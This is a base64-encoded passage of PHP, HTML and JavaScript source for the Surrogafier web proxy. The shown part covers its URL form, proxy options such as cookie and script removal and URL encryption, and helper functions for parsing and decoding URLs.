ik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbi